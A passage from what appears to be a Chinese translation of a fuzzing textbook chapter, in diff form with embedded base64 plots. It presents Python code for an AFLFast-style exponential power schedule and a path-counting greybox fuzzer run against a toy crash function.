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EkftX7lQwM6tRlmcfHQCcDMyRNDOd90ugB0BE3AB8GzhL0mrgU+CECJ8mZGbWVDJLChExmToGlIiIa4Frs4qh2s4aZTdmtmFWrVrFwoULWblyZVOHUpLat29Pt27daNu27Xqtn2VLoVlyR7NZ87Zw4UI6depEz549fai3niKCJUuWsHDhQrbffvv12kYZDXPhloJZKVi5ciVdunRxQlgPkujSpcsGtbLKKCkkAl+8ZtbcOSGsvw1978ouKZiZWe3KJylE3imp7lUwswJat25N79692WOPPejTpw/PPvssAG+++Sa77bbbem2zX79+TJs27UvzO3bsuEGxNrSy62g2M6vLxhtvzMyZyZn0f/vb3xg5ciRPPfVUE0fVOMooKVR1NPvOa2al4pIH5/LyO9VHx9kwu2yzKRcfVeMwazX66KOP6Ny585fmv/nmm5x88sl88sknAFx77bXsv//+AFx11VWMGzeOVq1accQRR3DllVfm1lu7di1Dhw6le/fu/OY3vwHgZz/7GU8++SSdO3fmjjvuoKKigpkzZ3LmmWeyYsUKdthhB0aPHk2nTp3o27cvV199Nf369WPkyJG0atWKyy67bEPeknWUz+EjM7Miffrpp/Tu3ZuddtqJYcOGceGFF36pzFZbbcWECROYMWMG48ePZ/jw4QA8/PDD3H///Tz//PPMmjWLX/ziF7l1Vq9ezYknnsjXvva1XEL45JNP6NOnDzNmzODggw/mkksuAeCUU05h1KhRzJ49m2984xtccskltGnThjFjxnDWWWcxYcIEHnnkES6++OIGrXv5tBR88ZpZyanPL/qGlH/4aMqUKZxyyim89NJL65RZtWoV5557LjNnzqR169a89tprADz22GMMHTqUTTbZBIAtttgit84ZZ5zBd77zHS644ILcvFatWnH88ccDcNJJJ3HssceybNkyli5dysEHHwzAqaeeynHHHQfArrvuysknn8xRRx3FlClTaNeuXYPWvexaCj4l1czqo2/fvixevJjqw/b/7ne/o2vXrsyaNYtp06bx+eefA8kFZLWdFrr//vvz5JNPFryOoJhTSufMmcPmm2/Oe++9V4+aFKfskoKZWX288sorrFmzhi5duqwzf9myZWy99da0atWKcePGsWbNGgD69+/P6NGjWbFiBQAffPBBbp3TTjuNgQMHctxxx7F69Wog6WO4++67Afjzn//MgQceyGabbUbnzp15+umnARg3blyu1XDvvfeyZMkSJk2axPDhw1m6dGmD1rd8Dh/lj5LatIGYWTNX1acAyS//sWPH0rp163XKnH322XzrW9/irrvu4pBDDqFDhw4AHH744cycOZPKykratWvHwIEDufzyy3Pr/fSnP2XZsmWcfPLJ3HbbbXTo0IG5c+ey1157sdlmmzF+/HgAxo4dm+to7tWrFzfffDOLFy/m/PPP5/HHH6d79+6ce+65jBgxgrFjxzZY3VVqg5JWVlZGTef61mnVp3DZV7hy1Qmcc+G1dGq/foNFmVm25s2bx84779zUYZS0mt5DSdMjorKudcvn8FH+ndfcqWBmVqPySQpmZlanMkoKpXWYzMysKZRRUki4o9nMrHblkxRKrEPdzKwplE9SSPniNTOz2pVdUjAzq8t7773H9773PXr16sVee+1F3759ue+++zZ4uxMnTmTQoEENEGF2yigp5J2S6l4FM6tFRDB48GAOOuggFixYwPTp07njjjtYuHDhOuWqrkhuacroimYzKzkPnw//mtOw2/zKN+CIK2td/MQTT9CuXTvOPPPM3LztttuOH/3oR4wZM4a//OUvrFy5kk8++YQnnniCq6++mjvvvJPPPvuMIUOGcMkll3DhhRey5ZZbMmLECAAuuOACunbtyu67785HH33EkCFDePXVVznooIP44x//SKtWrbj99tu5/PLLiQiOPPJIRo0axVtvvcVhhx3GlClT2GKLLTj44IO58MIL6d+/f8O+J3nKJym4o9nMijB37lz69OlT6/IpU6Ywe/ZstthiCx599FFef/11pk6dSkRw9NFHM2nSJE477TSOPfZYRowYwdq1a7njjjuYOnUqc+bMYerUqbz88stst912HH744dx7773sv//+nHfeeUyfPp3OnTvTv39/7r//fgYPHsx5553HmWeeyb777ssuu+ySaUKAckoKqQB3NJuVigK/6BvLOeecw+TJk2nXrh3nnHMO3/zmN3PDYT/66KM8+uij7LnnngAsX76c119/nYMOOoguXbrw4osv8t5777HnnnvmBtTbZ5996NWrFwDf/e53mTx5Mm3btqVfv35UVFQAcOKJJzJp0iQGDx7MsGHDuOuuu7jhhhtyw3lnKbOkIKk7cAvwFWAtcGNE/L5aGQG/BwYCK4DvR8SMbCJ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
+)
+
+***摘要*** 。 我们已经看到了灰匣子模糊器如何“发现”有趣的种子，这些种子可以带来更多的进步。 从输入`good`，我们的灰盒模糊器已经慢慢学习了如何生成输入`bad!`，该输入引发了异常。 现在，我们如何才能更快地做到这一点？
+
+***尝试*** 。 使用基于黑箱*的一代*模糊测试器，随着时间的推移将实现多少覆盖？ 尝试绘制所有三个模糊器的覆盖范围。 您可以如下定义基于黑盒生成的模糊器。
+
+```py
+from [Fuzzer](Fuzzer.html) import RandomFuzzer
+blackbox_gen_fuzzer = RandomFuzzer(min_length=4, max_length=4, char_start=32, char_range=96)
+
+```
+
+您可以通过以Jupyter笔记本打开本章来执行自己的代码。
+
+***读取*** 。 这是最成功的漏洞检测工具之一AFL的工作原理的高层视图。 如果您对技术细节感兴趣，请查看： [https://github.com/mirrorer/afl/blob/master/docs/technical_details.txt](https://github.com/mirrorer/afl/blob/master/docs/technical_details.txt)
+
+### 增强型Greybox Fuzzer
+
+我们增强的灰箱模糊器为有望实现更大覆盖率的种子分配了更多能量。 我们更改功率计划，使行使“非常规”路径的种子拥有更多能量。 对于*异常路径*，我们指的是生成的输入不经常使用的路径。
+
+为了识别输入所执行的路径，我们利用了[迹线覆盖范围](WhenIsEnough.html#Trace-Coverage)中的功能`getPathID`。
+
+```py
+import [pickle](https://docs.python.org/3/library/pickle.html)  # serializes an object by producing a byte array from all the information in the object
+import [hashlib](https://docs.python.org/3/library/hashlib.html) # produces a 128-bit hash value from a byte array
+
+```
+
+函数`getPathID`返回coverage集的唯一哈希。
+
+```py
+def getPathID(coverage):
+    """Returns a unique hash for the covered statements"""
+    pickled = pickle.dumps(coverage)
+    return hashlib.md5(pickled).hexdigest()
+
+```
+
+有几种方法可以根据锻炼路径的异常程度分配能量。 在这种情况下，我们实现了指数功率调度，该算法计算种子$ s $的能量$ e（s）$，如下所示$$ e（s）= \ frac {1} {f（p（s））^ a } $$其中
+
+*   $ p（s）$返回$ s $行使的路径的ID，
+*   $ f（p）$返回生成的输入行使路径$ p $的次数，并且
+*   $ a $是给定的指数。
+
+```py
+class AFLFastSchedule(PowerSchedule): 
+    def __init__(self, exponent):
+        self.exponent = exponent
+
+    def assignEnergy(self, population):
+        """Assign exponential energy inversely proportional to path frequency"""
+        for seed in population:
+            seed.energy = 1 / (self.path_frequency[getPathID(seed.coverage)] ** self.exponent)
+
+```
+
+在灰箱模糊器中，跟踪每个路径$ p $行使$ f（p）$的次数，并更新电源计划。
+
+```py
+class CountingGreyboxFuzzer(GreyboxFuzzer):
+    def reset(self):
+        """Reset path frequency"""
+        super().reset()
+        self.schedule.path_frequency = {}
+
+    def run(self, runner):
+        """Inform scheduler about path frequency"""
+        result, outcome = super().run(runner)
+
+        path_id = getPathID(runner.coverage())
+        if not path_id in self.schedule.path_frequency:
+            self.schedule.path_frequency[path_id] = 1
+        else:
+            self.schedule.path_frequency[path_id] += 1
+
+        return(result, outcome)
+
+```
+
+好的，让我们在简单的[示例](#Runner-and-Sample-Program)上运行增强型灰箱模糊器$ n = 10,000k次。 我们将指数功效表的指数设置为$ a = 5 $。
+
+```py
+n = 10000
+seed_input = "good"
+fast_schedule = AFLFastSchedule(5)
+fast_fuzzer = CountingGreyboxFuzzer([seed_input], Mutator(), fast_schedule)
+start = time.time()
+fast_fuzzer.runs(FunctionCoverageRunner(crashme), trials=n)
+end = time.time()
+
+"It took the fuzzer w/ exponential schedule %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the fuzzer w/ exponential schedule 1.08 seconds to generate and execute 10000 inputs.'
+
+```
+
+```py
+x_axis = np.arange(len(fast_schedule.path_frequency))
+y_axis = list(fast_schedule.path_frequency.values())
+
+plt.bar(x_axis, y_axis)
+plt.xticks(x_axis)
+plt.ylim(0, n)
+#plt.yscale("log")
+#plt.yticks([10,100,1000,10000])
+plt;
+
+```
+
+![](data:image/png;base64,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
+)
+
